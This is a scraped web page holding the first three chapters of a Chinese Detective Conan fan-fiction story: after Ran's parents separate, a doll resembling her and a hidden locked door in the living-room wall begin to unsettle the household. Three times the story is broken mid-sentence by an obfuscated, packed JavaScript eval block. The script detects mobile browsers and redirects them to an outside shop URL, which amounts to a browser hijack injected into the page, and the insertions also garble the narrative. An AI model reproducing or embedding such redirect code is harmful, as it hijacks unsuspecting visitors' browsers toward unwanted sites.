《毛利家的特级咒灵鬼妈妈》 1. 第 1 章 妈妈。 今天是妈妈离开后的第一晚。 毛利兰平躺在床上,被子盖过了她的半张脸,黑暗中只有一双闪着泪花的眼睛盯着天花板,漫无目的地想着这段时间发生的事。 自从爸爸离职不再做警察工作后,爸爸和妈妈就总是吵架。 爸爸离职后并没有再去找新的工作,而是自己开了事务所做私家侦探,可是,完全没有生意。 一开始还好,即便爸爸每天要么是去喝酒,要么是去打麻将,妈妈都容忍了。 毛利兰直觉这里面有一些只有妈妈和爸爸彼此之间知道,但大人不会告诉小孩子的事发生了,所以妈妈允许了爸爸很长一段时间的任性,直到再也无法坚持下去。 所以当妈妈问她要不要跟妈妈一起走的时候,毛利兰选择了留下,她想她要坚持下去,为了或许某一天她的父母能和好,为了不至于某一天爸爸酒精中毒。 妈妈尊重了她的选择,妈妈最后开着车和搬家公司一起离开前,告诉毛利兰,只要她愿意,她可以随时去妈妈那儿。 毛利兰当晚就想去了。 中午,毛利兰和父母一起在家吃了最后一顿团圆饭,到傍晚时,爸爸说他来做饭,这个时候毛利兰还是很高兴的。 毛利兰认为她做出留下的决定是对的,起码有她在,爸爸还知道什么时候该吃饭,而不是喝酒喝到昏天黑地不知道现在几点。 然而似乎他们一家都没有什么做饭基因,妈妈做的饭毛利兰吃习惯了,不过爸爸偶尔喝多了会私下和她吐槽妈妈做的饭难吃。 而那个吐槽妈妈做饭难吃的爸爸,只是为了做个菜却把厨房炸了。 爸爸做饭前拍着胸脯和毛利兰保证,他做饭一流,毛利兰等着吃就行。 毛利兰其实心存疑惑,爸爸做饭一流平常也没见爸爸露一手,但今天的爸爸是这段时间以来很少见的积极爸爸,所以毛利兰听话地坐在客厅看了一会儿电视。 这个一会儿其实有待商榷,因为一开始毛利兰听到爸爸备菜的声音,那个有节奏的剁菜声,让毛利兰觉得爸爸可能真的很会做饭。 所以当她放下心来观看电视上的剧情后,在毛利兰突然意识到很久没听见爸爸的声音后,厨房就传来了“轰”的一声。 毛利家的燃气灶是双眼的,毛利兰赶到厨房的时候,只先看见一滩挂在墙上浓稠到欲掉不掉的、像是咖喱一样的东西,然后是叮叮啷啷作响终于转停下来的高压锅盖。 再去看高压锅的锅体,旁边就是被烧漏底的炒锅,烧焦的、乌漆嘛黑认不出来原有食材的菜就那样掉落在燃气灶上。 毛利兰不知道该说什么,起码爸爸还记得及时关了火。 她想或许继承了父母基因的她也没有做饭基因,他们家以后可能只能去外面吃饭了,让本就因为爸爸没工作但还在往外开销的家庭雪上加霜。 和毛利兰想的一样,爸爸说不做了,他带她出去吃饭。 出去吃饭的结果是爸爸又喝醉了。 小小的毛利兰也不平躺了,而是蜷曲着缩进被子里,她在为他们家的未来担忧,要不她来试着包揽家里的一切家务? 首先就要以包揽一切家务的名义,先把爸爸手里头的余钱拿到手。 按爸爸的花法,毛利兰担心明天或许他们就会需要别人救济才吃得上饭了,说的就是目前作为他们家剩下两个人唯一收入来源的楼下咖啡厅租金。 虽然觉得拥有不太会做饭的父母的自己可能也不会做饭,但毛利兰觉得凡事还是得先试试再说有没有。 夜已经很深了,躺在床上的毛利兰迷迷糊糊地想,明天是周一,她还要上学,她得早点睡才行。 等等。 毛利兰拖着快睁不开的眼皮,迷迷糊糊地摸索着把床头柜上的闹钟拿到跟前。 以往都是妈妈叫她起床,闹钟没有派上过它的实际用途,而是一直作为时钟来看,毛利兰撑着睡意把闹钟调到她需要的时间,也没来得及把闹钟放回床头柜,就这样抱着闹钟睡着了。 等毛利兰再醒来的时候,她觉得怀里有东西硌得慌,拿出来一看,发现是闹钟,而时间恰好是她平常被妈妈叫起床的时间。 毛利兰以为是自己的生物钟准,起床穿好衣服发现闹钟时间完全没前进后才意识到,昨晚她困迷糊了,忘记再按一次按钮确定闹钟时间,毛利兰把闹钟调回时钟的界面,才发现她上学快迟到了! 毛利兰赶紧去卫生间洗漱收拾,拿着书包准备往外跑的时候,感觉好像有什么东西没带,才想起来妈妈今天不在,她没吃早饭,也没有午餐便当。 毛利兰又风风火火地回头去自己房间拿了零花钱,准备午间休息时去学校的便利店买点吃的作为午饭。 这次终于能出门了,毛利兰关门准备下楼梯前却又犹豫了,之前她一直没注意,这么吵闹的声音,却没看见爸爸的身影出现。 是宿醉很难受吗? 毛利兰不放心,小心地打开爸爸的房门看了一眼。 爸爸的身体起码还在床上,而不是在地板或者其他什么地方,只是毛利兰走近盯着爸爸的脸看,爸爸似乎和她一样哭过了。 毛利兰学着妈妈的样子去厨房盛了一杯水,拿了解酒药。 看着厨房还残留着昨天的狼藉,毛利兰想昨天他们确实回来太晚了,没来得及收拾,今天放学后她可以借着打扫的机会和爸爸提议她那个包揽一切家务包括金钱的计划。 毛利兰把水和解酒药放在爸爸床头,留下字条后,就重新风风火火地下楼了,她得再跑快点才能赶上不迟到。 然而毛利兰刚走出他们家这栋房子,就听见妈妈叫她的声音。 “妈妈?” 毛利兰回过头,就看见妈妈的那辆车停在她的背后。 * 昨天毛利小五郎和毛利兰出去吃饭的事,妃英理听说了,当然也知道毛利小五郎又喝醉了。 毕竟这是她第一次离开家,妃英理不放心小兰,所以没忍住离开家的第一天,就偷偷回来看望。 其实也不算偷偷,妃英理是大大方方地把她的车停在了毛利侦探事务所楼下。 等到毛利兰平常出门上学的时间,妃英理也没有看见毛利兰的身影,她大概有猜到原因,不过她还是不想上楼和毛利小五郎打个照面。 然而显然毛利小五郎宿醉比妃英理想的还要严重,他甚至根本没起得来! 不过好在妃英理还是习惯性地准备了小兰的早餐和午餐便当,还顺便带了过来。 在妈妈的车上吃着妈妈给自己准备的早餐,书包里还装着妈妈准备的便当,毛利兰没忍住开口。 “妈妈,你还会再回来吗?” “再说吧。” 妃英理是这样回答的。 毛利兰也不好继续再问,她沉默地看着窗外随着汽车前进而倒退的景色,突然看到新一的身影。 毛利兰打开车窗:“新一?” 毛利兰平常上学确实会先走到这个路口和工藤新一汇合,再走到下个路口和铃木园子汇合,然后三个人一起上学,但是她今天已经迟到,毛利兰没想到新一竟然还在等她,那园子也? 毛利兰还从来没有迟到过,所以第一次遇到这种情况。 妃英理将车停在路口,工藤新一不客气地拉开后座的车门坐了进去,虽然他是自愿等人的那个。 毛利兰坐在副座,新一上车后,冲淡了车上之前的那段沉默,因为妈妈是昨天刚离开家的,毛利兰还没来得及和新一、园子说过这件事。 而果然在车辆行驶到下一个路口时,园子也上车了。 铃木园子同样坐在后座,不过她坐的位置是毛利兰所在副座的后面,铃木园子调皮地把头从后座伸过去,调侃小兰是不是睡过头了,所以今天是妈妈送她。 铃木园子偶尔也会在赖床后睡过头,每次她都是让司机送到这个路口,以防错过和小兰一起去上学,所以她才这么调侃小兰,但当得到小兰“嗯”的回答后,铃木园子反而觉得自己好像哪里说错话了。 也不是说一定是她说错话了,铃木园子就是直觉今天这车里的氛围不对劲。 铃木园子转过头看了一眼工藤新一,意图从工藤新一那里得到答案,但这小子撑着头看窗外装深沉没理她。 不对劲,十分有十二分的不对劲。 这股不对劲一直持续到午休时间,他们三个人凑到一起吃午餐,小兰说她爸妈分居了。 哦,所以确实是她说错话了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033398|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铃木园子安慰毛利兰跟着妈妈起码还有车坐,结果小兰说她目前是跟着爸爸住。 好吧,她又说错话了,两次快嘴让铃木园子选择先沉默地吃段饭组织一下语言再说。 但这个时候一直没说话的工藤新一却开口对小兰说道“你爸爸来了”。 * 毛利小五郎宿醉醒过来的时候就意识坏了,他赶紧去小兰的房间叫小兰起床,然而房间哪里还有小兰的身影。 毛利小五郎知道小兰应该是自己去上学了,这让他感觉到挫败,毕竟今天是妃英理不在的第一天,他应该照顾好小兰的。 毛利小五郎颓废地又回到了自己的房间,坐在床边放空时,瞥见床头柜上的东西。 是小兰留给自己的一杯水,解酒药还有字条。 可是,明明应该是他照顾小兰的。 毛利小五郎收拾昨天厨房的残骸时想到他还没有给小兰准备便当,所以毛利小五郎才会在小兰午休的时间,带着便当来帝丹小学二年级B班的班级找小兰。 便当不是毛利小五郎亲自做的,等他收拾好厨房,已经来不及在小兰午休时间结束前做出一份合格能吃的便当,所以毛利小五郎直接在楼下咖啡厅买的现成。 不过餐盒里的摆盘是他亲自摆的,虽然这么说感觉并没有好太多。 而当他看见教室里的小兰面前有便当,并正在吃便当,而那个餐盒眼熟到他根本忘不了的时候,毛利小五郎就更说不出口了。 所以毛利小五郎把自己带的便当藏在身后,糊弄说原本他是来带小兰出去吃饭的,既然小兰已经正在吃午饭了,那就算了,哈哈。 这个时候的毛利兰还没成长为日后面对毛利小五郎不正经能够应付的毛利兰,这个时候的毛利兰见识最多、相处最多的还是有工作前那个作为警察、更正经点的爸爸。 所以毛利兰本能地相信了毛利小五郎的说辞,虽然她敏锐感觉到爸爸的不对劲。 不过既然爸爸都到学校来了,毛利兰干脆就和爸爸说今晚她想尝试做饭,昨晚毛利兰就想过了,是否会做饭这种事果然还是要做了才知道。 毛利兰目前是小学二年级,这个年级还不需要参加课后社团,小学生放学很早,如果爸爸今天能来接她就更好了,他们可以一起去逛超市买食材还有新锅具。 毛利小五郎欢快地同意了,他以为小兰是想和爸爸进行那种大家一起来做饭的亲子活动增进感情,比如他把食材都切好,然后抱起小兰到特地高度,方便小兰把他切好的食材倒进锅里...... 毛利兰才七岁,在厨房水池洗手都得站个小板凳才够得到,毛利小五郎完全没有往小兰想要真的去做饭的方向思考。 他唯一思考地是如果小兰想要自己尝试切菜,家里的菜刀不适合小孩子,以免到时候忘了,他等下就要去超市买那种儿童厨房模拟玩具,塑料刀看起来就安全很多。 毛利小五郎在超市的儿童玩具区挑选玩具时,看到一个奇怪的娃娃—— 娃娃和小兰长得很像,连衣服都是今天小兰穿的款式,黄色的短袖连帽外套,内衬是白色的短袖,再往下深蓝色的短裤搭配上白底的红色高帮帆布鞋,连帽子是单独的白色都还原了。 这么巧? 毛利小五郎拿起娃娃左看看右看看,又捏了捏,好像就是普通的棉花娃娃,只是好像从来没在市面上见过这个款式的娃娃。 特别是这双用纽扣做的眼睛,毛线做的头发、脖子上还用毛线绳挂着以假乱真的一把钥匙。 毛利小五郎拿起钥匙颠了颠重量,钥匙的份量都做的这么足,质感也完全不是塑料的,看起来是非常有品牌特色的娃娃。 不过毛利小五郎也从来没有关注过这方面的事,所以他觉得可能只是自己没了解过,大概是什么小众、没在电视上做过广告的牌子。 毛利小五郎对于早上没起得来,导致小兰独自起床,在既没有早饭也没有午餐便当就去上学的情况感到抱歉。 他觉得这么一个特别的、长得和小兰很像的娃娃,就像上天给他的提示,他决定买下这个娃娃作为道歉的礼物送给小兰。 然而结账时,收银员却在对着这个娃娃的标签处扫描条形码后发出来“诶?”的声音。 2. 第 2 章 下午两点半,帝丹小学低年级的学生们放学了。 铃木园子、工藤新一陪着毛利兰站在学校门口等着毛利小五郎的身影出现,平常他们三个都会一起放学,等到了靠近自家的路口才会逐个分别说再见。 然而毛利兰在学校门口等了好久,毛利小五郎都没有出现,她有些不好意思地和铃木园子还有工藤新一说他们可以先走回家,她打电话问问爸爸现在到哪儿了。 这个年纪的孩子,家长都会准备那种有基础功能的非智能手机给孩子,主要的非智能是指无法兼容某些App,方便联系的同时不会让孩子沉迷玩手机。 而学校也并没有禁止学生带手机,课间时手机都是可以大方拿出来用的东西,不过当然上课时不允许使用。 毛利兰手机里在响铃时,铃木园子表示反正已经等了一会儿了,也不差再等一会儿,工藤新一没说话,但人也没走。 然后他们就听见毛利兰手机里传来已接通的声音,而与此同时毛利小五郎气喘吁吁说缘由的声音也从街道的另一边响起,并且在快速接近中。 毛利小五郎解释说他在超市结账时,买的娃娃扫出来的条形码信息却是另一个娃娃的,超市工作人员让毛利小五郎稍等,去找他要买娃娃的真实信息和价格。 然而这一等,等到毛利小五郎不耐烦,对方都没有找到。 毛利小五郎就让对方按另一个娃娃的价格卖他好了,然而超市工作人员表示绝对不行,毛利小五郎和对方据理力争,最后耽搁了不少时间,结果对方说是他们的工作疏忽,娃娃免费送给毛利小五郎了。 铃木园子原本还在吐槽叔叔干嘛迟到了,结果看到毛利小五郎递给毛利兰的那个娃娃面目后,铃木园子就懂了,这个娃娃简直就是照着兰的样子做的,怪不得叔叔无论如何都要买这一个。 毛利兰右手抱着娃娃,左手牵着爸爸的右手,而毛利小五郎的左手还拎着他给毛利兰买的儿童厨房模拟玩具,一个超大的包装。 毛利兰很开心,她原本以为爸爸中午回去后又喝酒或者去打麻将而把时间忘了。 去超市有段距离和铃木园子还有工藤新一仍旧同路,铃木园子叽叽喳喳地和毛利兰聊着天。 直到四个人两两分别,毛利兰和毛利小五郎向另一个方向走远,铃木园子突然安静下来,停在这个路口,叹了声气,她对继续往前走的工藤新一背影喊道:“喂,你为什么一句话都不说啊?” 工藤新一没有回头,铃木园子只听到对方有些闷闷的声音,他说他看见兰在纸卡上写的愿望。 “什么愿望啊?”铃木园子冲着工藤新一的背影大喊,只是这次没得到对方的回答。 不过对方不回答她也知道,因为她也偷偷看了兰写的愿望,所以,铃木园子又重重地叹了口气,重到她不想走回家了,而是站在原地打电话让司机过来接她。 七夕将至,老师让学生们在纸卡上写下愿望挂到笹竹上来表示对未来的期待,笹竹会摆在班级教室里做装饰直到七夕结束,到时候学生们各自的纸卡会被摘下,附赠老师送的装饰品一起留作纪念。 毛利兰在纸卡上写下的愿望是“希望妈妈可以快点回来”。 * 毛利兰和毛利小五郎大吵了一架。 好吧,单方面地哭诉不算吵架。 毛利兰哭诉的缘由是爸爸不支持她承包家里一切事务的计划,爸爸说她是小孩子,这些是大人的事,家里有爸爸这个大人就够了,不需要她一个小孩子来承担起大人的责任。 毛利兰知道爸爸那套小孩子和大人的理论说的有道理,她才七岁,确实还是小孩子,小孩子的责任里还没有包含进照顾大人,而大人的责任里已经把照顾孩子包含了进去。 可是,爸爸和妈妈分居的时候,爸爸一步步颓废逼得妈妈离开的时候,想过她还是一个小孩子吗? 毛利兰没有这么说,因为她知道爸爸肯定想过,就像妈妈离开前问她愿意和妈妈一起走吗一样,爸爸肯定想过,爸爸没想到是她选择了留下。 毛利兰一直告诉自己,要坚强,可这段时间的所有压力与委屈就像商量好的一样,在她想和爸爸讲道理的时候爆发了。 所以毛利兰只来得及诉了一个“我”字,后面她就哭到哽咽说不出第二字了。 她不明白为什么他们原本好好的一家人突然变成这样,她还要上学,她没办法时时刻刻和父母待在一起,所以她不知道妈妈和爸爸在她不在家的时候发生过什么。 她知道妈妈和爸爸争吵的原因,就像每一个父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033399|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母吵架时旁边手足无措的孩子一样,她一直很安静偷听,甚至毛利兰能感觉自己好像知道妈妈和爸爸一开始出现问题到底是什么时候。 她隐隐约约觉得和那次妈妈被坏人劫持爸爸却用枪射伤了妈妈有关,但就像毛利兰不明白爸爸为什么开枪射击的是妈妈而不是坏人一样,她也不明白为什么爸爸会突然变成现在这个样子。 不过爸爸还是那个会在她哭的时候安慰她的爸爸。 所以,就像之前毛利兰说的,单方面地哭不算吵架。 既然她和爸爸没吵架,所以毛利兰仍然抱着爸爸给她买的娃娃入睡是很正常的一件事。 睡梦中毛利兰迷迷糊糊地感觉到怀里空空的。 娃娃呢? 毛利兰原本就是抱着娃娃侧睡的,睁开眼便看见她的房门不知道什么时候被打开了一条足够宽的缝隙,而这条缝隙正好够毛利兰看见她的娃娃正静静地躺在她房门口的地上。 “爸爸?” 毛利兰先想到的是爸爸某种试图和她和好的手段,就像爸爸送自己娃娃时虽然没说,但表示歉意的方式一样。 没听到爸爸的回答,毛利兰疑惑地走下床,一步步向门口走去。 等毛利兰彻底打开房门的时候,她发现原本躺在地上的娃娃不见了。 毛利兰四处张望之际,看见娃娃背靠着客厅的墙面安安静静地坐在地上,那双纽扣做的眼睛却直勾勾地盯着她的方向。 人能从两颗纽扣上看出情绪吗? 不能。 所以毛利兰只是走近,准备带娃娃回床上,还没睡醒的迷糊大脑让她没去想娃娃是怎么被移动到这个位置上的。 毛利兰记得她是想牵娃娃的手来着,等握到手里时却是硌人的手感,娃娃脖子上挂的那把钥匙不知道什么时候被她抓在了手里。 这回毛利兰是真的开始觉得奇怪了。 她小心地把钥匙绳从娃娃的脖子上摘下来,看着手里的钥匙,又看看了娃娃所在的位置,毛利兰对着娃娃自言自语“你是想我打开这扇门吗?” 是的,娃娃所靠客厅的墙面上有一扇门,一扇带锁的小门,小到只有一个七岁孩子身高的一半高。 而今天傍晚之前,毛利家的客厅还是没有这扇小门的。 3. 第 3 章 七岁的毛利兰已经是小学二年级的学生了,她知道娃娃不会自己动。 所以在这个大晚上娃娃让她拿钥匙去开小门的时候,虽然娃娃想让她开门这个想法是毛利兰自己揣测的,但不妨碍毛利兰放下矜持一把扔了钥匙,奔向爸爸的房门。 “爸爸,爸爸!” 她是已经过了认为娃娃是活的、和人一样有自己思想的年龄,但她还没过认为鬼不存在的年龄。 总而言之,毛利兰成功在爸爸房间一觉安全睡到爸爸叫醒她该起床了。 妈妈离开后的第二天,毛利兰吃到了早餐。 虽然这个早餐的样式和味道都特别像楼下咖啡厅的菜品,但毛利兰决定不拆穿爸爸,毕竟爸爸都拜托这个点根本没营业的咖啡厅店长提前开门了,毛利兰也不想辜负爸爸的好意。 今天的早晨起得刚刚好,不需要和昨天一样着急,更何况毛利兰觉得自己昨晚的举动也表明她和爸爸昨天那场不算吵架的吵架翻篇了,所以毛利兰像往常一样在餐桌上和爸爸聊天。 “爸爸,你昨晚移动过我的娃娃吗?” 今早毛利兰重回自己房间换衣服的时候发现娃娃竟然就在自己的床上躺着,脖子上还好好地挂着昨晚被她随手扔掉的钥匙。 毛利兰立马以最快的速度换完衣服从自己房间跑出来,这一次她进步了,学会了不动声色。 因为毛利兰想起昨天她跑进爸爸房间时虽然已经过于惊慌失措,但还记得在爸爸询问她发生了什么事的时候,只是告诉爸爸,她想和爸爸一起睡。 毛利兰并没有告诉爸爸娃娃莫名其妙移动位置的事,因为爸爸总是会拿她怕鬼这种事取笑她。 所以即便她那个时候的状态确实是因为怕鬼,但在和爸爸吵过一场不算吵架的架后,毛利兰不想被爸爸看扁。 然而爸爸的回答却和毛利兰想的不一样。 爸爸说娃娃确实是他移动的。 诶? 竟然是爸爸故意吓她,知道她被吓到一定会去找爸爸,所以这果然还是爸爸向她和好的手段,她上当了! 毛利兰这回是真的有点生气了,不过她是在气自己,毛利兰正襟危坐,握紧两个小小的拳头放在膝盖上,盯着自己的拳头。 她想她应该再勇敢一点,只是一个娃娃而已,还是一个长得和她相似的娃娃,又不是什么恐怖没人形的鬼,就算是......就算是,她也可以! 毛利兰给自己鼓起的勇气,在学校午休期间,吃着爸爸给自己准备的便当,把这个关于娃娃移动的乌龙讲给园子后就泄掉了,因为园子给她讲了安娜贝尔的故事。 虽然新一说那都是假的,但...... “看。” “什么......啊!” 因为新一是突然将手机凑到她面前的,毛利兰的眼睛还没来得及聚焦,等真正看清是一张恐怖娃娃的图片后,毛利兰不禁叫出了声。 还没等毛利兰缓过神再说些什么,工藤新一就接着这张图片介绍下去。 新一告诉她这张图片是安娜贝尔的图片,是不是看起来很恐怖?这么有辨识特征的娃娃,有人传言这个娃娃有恶灵寄生是不是就很合理?但兰的娃娃和这个娃娃不一样,兰的娃娃和兰长得一样。 毛利兰觉得工藤新一说的很有道理,而且那个娃娃是爸爸买给她的。 虽然是超市因为工作失误免费送的,但看起来就是纯手工的,毕竟娃娃的眼睛甚至是用纽扣缝上去的,而不是像其他娃娃用胶水粘的塑料眼。 这些是园子告诉她的,因为园子说安娜贝尔那种娃娃很贵,兰的娃娃也绝对不便宜,而这种很贵的娃娃很容易经由二手,发生这样那样的事,从而寄生恶灵。 但娃娃是爸爸在正常超市买的,不是二手市场,所以......娃娃应该不会有问题吧? 不对。 毛利兰发现自己又被园子绕进去了,园子在吓唬她这方面真的无所不及,明明娃娃会移动这件事本来就是乌龙啊。 * 毛利小五郎在小兰去上学后去了一趟银行。 昨晚和小兰争吵过后毛利小五郎一直没睡,他平躺在床上盯着天花板。 毛利小五郎也不知道自己到底在想什么,或者其实他本来什么就也没想,等他意识到的时候,毛利小五郎已经站在毛利兰的房间门口抬起手准备敲门了。 可已经这么晚了,他告诉自己,小兰大概已经睡了,还是不要去打扰她比较好。 但是在毛利小五郎准备转身离去的时候,他又告诉自己,他只是看一眼,不会打扰到小兰的。 毛利小五郎把手放在门把手上,周围安静地听不见一点声音,他想小兰确实是睡着了。 所以毛利小五郎悄悄地按下把手,一点一点把门推开,从门缝里他看见小兰床上隆起的被子,以及小兰背对他的、散在枕头上的黑发。 可是毛利小五郎想,背影不够,他想,他还想看到小兰的脸。 毛利小五郎悄无声息地进入房间,走到床的另一边。 黑暗中,只有被模糊的月光从窗帘透出来作为唯一的光源,而这一点光源也足够毛利小五郎看清毛利兰脸上的泪痕,他突然开始质疑一切,一直质疑到或许他从一开始就不应该想去成为警察。 毛利小五郎在原地站了很久,离开前他带走了被毛利兰紧紧抱住的那个他买给她的娃娃。 毛利小五郎只是突然想起妃英理的话,刚买回家的这类东西很脏,应该先放进洗衣机洗一遍。 洗衣机很安静,楼梯间反而很吵,因为与外面的世界直接联通,毛利小五郎能听见车流的声音,他在楼梯间坐着抽烟抽了一个标准洗涤加上烘干的时间,他想起一件事—— 原本这栋房子就是因为小兰的诞生买的,所以他也想明白了另一件事。 毛利小五郎散了散身上的烟味才回去,他将烘干地暖乎乎的娃娃重新塞回了小兰的怀里,给小兰敛好被子后回到自己的房间,这一次他很快睡着了,直到后来被小兰急促地叫声惊醒...... 毛利小五郎从银行回来的时候正好碰到昨天说好上门的工人。 昨天毛利小五郎和毛利兰从超市回来的时候就发现客厅的墙面上不知道什么时候多了一大滩水渍,毛利小五郎以为是墙里预埋的水管裂了,所以找来工人维修。 然而工人小心地一点点砸开水渍位置所处的墙面后却发现里面没有什么水管,而是一扇紧锁的小门。 小门很矮,一个大人得趴下才能和小门平视,小门也很窄,远小于一个大人的肩宽。 令毛利小五郎困惑的是小门所在这面墙的背后就是他们家的楼梯间,也就是本来这面墙就不存在什么预埋的水管,那么水是从哪儿来的? 而令工人师傅困惑的是房子整体架构是木制的,按理说应该是一共就两层木板,他拆开这面墙的木板后里面看到的应该是两层木板之间加注的隔音保暖泡沫,而不是另一层木板。 也就是说他拆除的那层墙面是多盖出来的。 毕竟如今露出来的这层墙面的木制材料,凭工人师傅这么多年的经验,看起来才更与房子其他的木制结构来源自同一木材。 而且这些木材明显不是本土的木材,倒更像是美国那边的进口货,价格应该不便宜,所以工人师傅也没敢再盲目往下拆。 对于让毛利小五郎疑惑的小门,工人师傅倒是有不同看法。 几乎所有工匠都会留有方便以后维修的后门,倒不是说想赚以后不断的买卖,而是东西本来就不可能能一直用。 何况大多数东西的售后你不一定还能找到当初做这件事的工人,毕竟售后对接的是公司,工人是公司委派来的。 所以工人之间留有维修的后门就是为了方便彼此,虽然每个工匠的手艺习惯不一样,但都大同小异。 所以工人师傅理所当然地认为这个小门是上任工匠留的探测孔,虽然对于一个探测仪器通过的维修孔来说它大了点,不过给维修后门上锁以防房主手贱这种事,工人们最能感同身受了。 这种锁的钥匙一般都是工人们之间通用的那种,说是钥匙实际就是那种拥有特殊形状的小型扳手,然而工人师傅用扳手却没能打开小门,工人师傅只能询问房主是否有这个小门的钥匙。 家里东西的收纳之前一直是妃英理在管,毛利小五郎试着在平常放家里大门备用钥匙、房门备用钥匙的抽屉找了找,拿了好几把钥匙都匹配不上小门。 毛利小五郎想起当初买这栋房子时,因为花了大部分积蓄,所以并没有对房子整体进行重建,而是只是重新装修后就入住了。 不过原房主在交房时就把这栋房子相关的所有钥匙都交给了他们,虽然后来他们对房子进行了重新装修,但原房主的钥匙应该还是好好保留了下来的,就是毛利小五郎不知道那些钥匙放在了哪里。 可他又不想打电话和妃英理求助。 当时已经挺晚了,所以毛利小五郎和工人约定今早再来看看,顺便又叫来了一个开锁师傅。 开锁师傅上来就问毛利小五郎是想直接给小门换个锁,还是就打把新钥匙。 “就打把新钥匙吧。” 毛利小五郎看着开锁师傅只是用根铁丝在锁眼里捣鼓了几下,就现场凭记忆用铁皮剪切了一把与锁眼匹配的钥匙出来。 小门打开后,毛利小五郎看见里面是墙体间填充的隔音保暖泡沫。 工人师傅把连接探测摄像头的电缆一点一点放进去,拿着手里摄像头连接的无线监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033400|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控器查看墙体内的情况,毛利小五郎则端详着开锁师傅交给自己用来开小门的新钥匙。 新钥匙的款式看着像上个世纪的产物,而且毛利小五郎越看越眼熟,总觉得和他买给小兰的那个娃娃所佩戴的钥匙结构一样。 只是娃娃的那个更立体精致,而毛利小五郎手上这个只是开锁师傅用铁皮切割出来的简易款。 工人师傅给整面墙做了一次无痕探测,不需要拆开墙面也能直接看见里面的架构,和工人师傅想的差不多,没有任何问题。 不过如果房主还是要拆开来看看的话,工人师傅觉得他应该先给这位毛利先生报一下拆开、替换这整个进口货墙面的价格。 毛利小五郎选择了放弃。 既然工人师傅说没问题,那就应该是没问题了,何况今天这面墙确实没有再漏水。 毛利兰放学回来的时候就看见工人师傅在从小门里一段一段地抽出黑色的粗线卷在手里,毛利兰好奇地凑近往小门里又多看了两眼,似乎看出房主孩子的兴趣,工人师傅边做收尾工作边给小朋友讲解。 维修师傅们走后,毛利小五郎用新钥匙把小门重新上了锁,随手便丢到了之前他翻找过的专门放钥匙的抽屉。 毛利兰一直注视着爸爸的动作,注意到爸爸手里的钥匙和她曾经揣测娃娃想让她用的那把钥匙长得完全不一样。 更重要的是那扇小门后面什么都没有,除了一堆填满的发黄白色泡沫。 “小兰你过来,我有话和你说。” 毛利小五郎盘着双腿,端坐在客厅的矮桌前,语气是这段时间以来少见的正经,所以毛利兰也郑重地屈膝坐在了毛利小五郎的对面。 毛利小五郎将一叠厚厚的信封连同一支笔贴着桌面放到毛利兰的面前,毛利兰被莫名的氛围感染,不自觉挺直了腰杆,学着昨天看的电视里两方老大谈判时的严肃神情打开了信封。 似乎是不好意思说出口,又或者是想以更严肃的态度对待这件事,毛利小五郎采用的是留痕的写信方式。 然而在毛利兰仔细默读书信内容时,毛利小五郎又装作不在乎地别过头,神态也没了之前的端正,而是弯着腰撑头放空地看着另一个方向,然而毛利小五郎时不时偷瞥的行为又暴露了他的真实感受。 紧张,很紧张。 在毛利兰终于签下名字的最后一笔,毛利小五郎拿回属于自己那一份的一式两份协议后,又变成了那个不正经的毛利小五郎。 “为庆祝我们小兰今天正式成为一家之主,我们出去吃饭吧!” “嗯。” 毛利兰还没有自己真的成了一家之主的实感,却非常熟练地拿出了一家之主的态度。 “不过爸爸不可以喝酒。” 等到在家附近常去的店里吃完晚饭,明明爸爸如约地没有喝酒,更别谈喝醉了,毛利兰却在爸爸看她的眼神里看到平常爸爸喝醉后的复杂神情。 她只隐约地读出点爸爸为她骄傲的情绪,而剩下的多数悲伤中,毛利兰无论如何也不知道怎么去分出里面的其他情绪。 在拿出零钱包给他们的晚饭结账的时候毛利兰终于有了自己成为一家之主的实感,爸爸把家里的存折和剩下的钱都给了她,以后就是她给爸爸零花钱了。 晚上,毛利兰抱着爸爸给她买的娃娃翻来覆去地睡不着,有了白天新一的开解,毛利兰没有把娃娃当成园子口中吓她的安娜贝尔,而是把长得和她相似的娃娃视为更小的她自己。 毛利兰学着妈妈的口吻对更小的自己自言自语,明明爸爸对她成为一家之主没有任何要求,但毛利兰却感觉到自己对自己的严格压力,她想做的更好。 也许是学着妈妈的口吻自己激励自己,毛利兰迷迷糊糊睡着后好像真的听到了妈妈的声音。 和前一晚一样,毛利兰醒来时看到的依旧是原本关闭现在却是半开的房门,只是这一次娃娃依旧陪在她身边。 “兰。” 毛利兰侧躺在床上看着半开房门外黑暗中模糊的亮光,娃娃的纽扣眼也看着那个方向。 